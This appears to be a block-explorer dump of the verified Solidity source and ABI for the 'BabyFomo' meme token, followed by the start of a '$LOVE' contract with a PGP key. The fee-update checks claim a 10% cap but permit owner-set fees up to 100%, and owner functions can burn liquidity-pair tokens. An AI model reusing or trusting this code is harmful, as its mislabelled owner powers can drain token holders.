v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract BabyFomo is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Baby Fomo", "BabyFomo") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 2; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 2; uint256 _sellLiquidityFee = 1; uint256 _sellDevFee = 2; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 20_000_000 * 1e18; // 2% from total supply maxTransactionAmountTxn maxWallet = 30_000_000 * 1e18; // 3% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xA97D79B987Ba1401eefd007909Af261940416B42); // set as marketing wallet devWallet = address(0xA97D79B987Ba1401eefd007909Af261940416B42); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 100, "Must keep fees at 10% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 100, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }

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ateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outp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IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.10+commit.fc410830

Default

MIT

ipfs://d4a405487a4a3258a835a76f691513658c11b4a9aff5990cf77c85f83c8af0a2

LOVE

contracts/Love.sol

0x73ed66eec30b0aa1790e9fa26d1baa9b7cb74a2e

Solidity

/** BEWARE OF SCAMMERS. THIS IS THE ONLY OFFICIAL $LOVE CONTRACT. ✔️Website : https://love.game ✔️Telegram: https://t.me/loveethereum ✔️Twitter: https://twitter.com/loveethereum -----BEGIN PGP PUBLIC KEY BLOCK----- Version: Keybase OpenPGP v1.0.0 Comment: https://keybase.io/crypto xsBNBGRyGh4BCAC/HUS34504PZQZ/B1QS7w9REYKokxBTeCB15rZmd9XcRTZvzfn BH6D9S9wPfdo1rMiRkul1fz5mnHfPpvxjriQyNw5i/kQ1auVlcXjwA+C4bpqUnbw OYG+YCULAA98HHUtaDcKe0nfWD3U6Vv3QxvZpf9W65YGmjEbo39Ir5dq5blYbugI iNnxaqSmT4vCeDxdEDjojPnMUTfhkVpRh++NfrLdO3of7jYvEbSa41txZK0tZhA9 xCThVVYqOr99qwiAOafumd6iExeze/gac+mB/jcvnQyPNnFEHcxECLl/DfwW+gk0 Gawm+Jl2Q0UxvgfPDAHKUKyLUZQgo1kf00KDABEBAAHNIU5FWFVTIChPRkZJQ0lB TCkgPGluZm9AbmV4dXMuY29tPsLAbQQTAQoAFwUCZHIaHgIbLwMLCQcDFQoIAh4B AheAAAoJEDp/g8zAWQ5Y2jcIAIBh1lbf9SjIQNIHbpLI7zYI+1rKWTZDno5S3aQc hTbzsKY3KXJkeT4lG9AFvijTFGuoof+QW/8P7jOSehTSAEMIukSoH6o79PPNI4pn qxwxDxWl/124KpsBeU5RXY1zMTiIW4MnxI3/yXBaqWpCfncHPyqrjOfN/mVFVoML YQv2cPs8NM+9s/C8RTXXisLfwwr9YiZgryJfnFQlpiNwFgbLBzACLhC1L5eQ8tos Rc6TVR20H2xOaeRzcUeSwuv/81GhC5eywjaA+WhkIKlg9udSIrNMdTdh6UZnxQU5 7tXVNQGga5iaJoki069uHn1cdcThs4clVxzfcVD5JFRrAXrOwE0EZHIaHgEIAM9n JUqd3d3Z+CRDUN/lgrir9axLgBhDBaC5SW1VOLJ91UJ7T3Vj6WU97FD6HjDfrLPI lyunbSo/ijUcEub232XDHq4y62jGM0ld16bDVPYvDIIdQQZqwMASmR0h/99/hfBW +NKytpHIIHkpIX+g/Ew6nRgIxIM4TPlgk5dGY+bE8SCIbeKhzldbpc9lUa7mDjXD DNXbG/lrLdfhPyQtnb9Nifxu4Lb5yXqPJBNhwPblXG6Bom8e2RrDT5IOsRfbvppv RQ75dDGGbr9i8ChypUTpqJtbWryYEd+Lp/SKNByZ9jCxHxKdf2BHzupSuNvNFARm QatPw01AGwfSN+yJB58AEQEAAcLBhAQYAQoADwUCZHIaHgUJDwmcAAIbLgEpCRA6 f4PMwFkOWMBdIAQZAQoABgUCZHIaHgAKCRBAZm6CQwtB4KmXB/9bQGwNDbmKSe/n Xvkp0dqwMYyCX0MG2smTkznr9AYDygWpkzpGNW27yfwLZec6WCMuhopSGKr54TX6 zmp9guvqBT1NnQ6fgydkxjygc0c2Qvfi/l9DeHEmEc+21LbUkXjctEX0q1jc4K4g GSPeBMfY2CEosibY9OYJLlQsSjHD0HT8ukZypRyZnSIJLExKlMLS9LBYr620bE2E GMNy/+jNZ8iytMCG2XEUBDjXRQXqFrokbVnvYIxt+1rcz9oLn7flGaO0BNFWb1Uz NCVvGsDHEVh2t97G/9gVkF1QRairmyAyND0BMlwH4fLgSHtuSaS45n+9DXCoejSu RYGxmoMSIJUH/1AjuuoxVKfgUEW5PW0Mz9Vk8Z3KL+DtKXJVLuZ+JAhQq0EKNWm4 b4903dW/jKoj17/i/yRlKrjVxZzBzFzFJ+LEcEofmxHlUHZYuBpl9dO2RzUgkyDT 2mxXY0s5hNDC6CwcU4Zp0DGim8CgQezoqLcMIpRagjwDRh0MGg7cs6ywj3bNbH3R qyNYgKM+dl78nZNTHZ4C5Cu7ZoqKndU/T57m2jMS99HQ8J4c06ukiODuD0BnzcVj sC2Gsgrp9ZR9mlh/RRqkEIgrFQHcY9PkajJBB12zpAoNjrfCYnpHyYmRS1YGt/l4 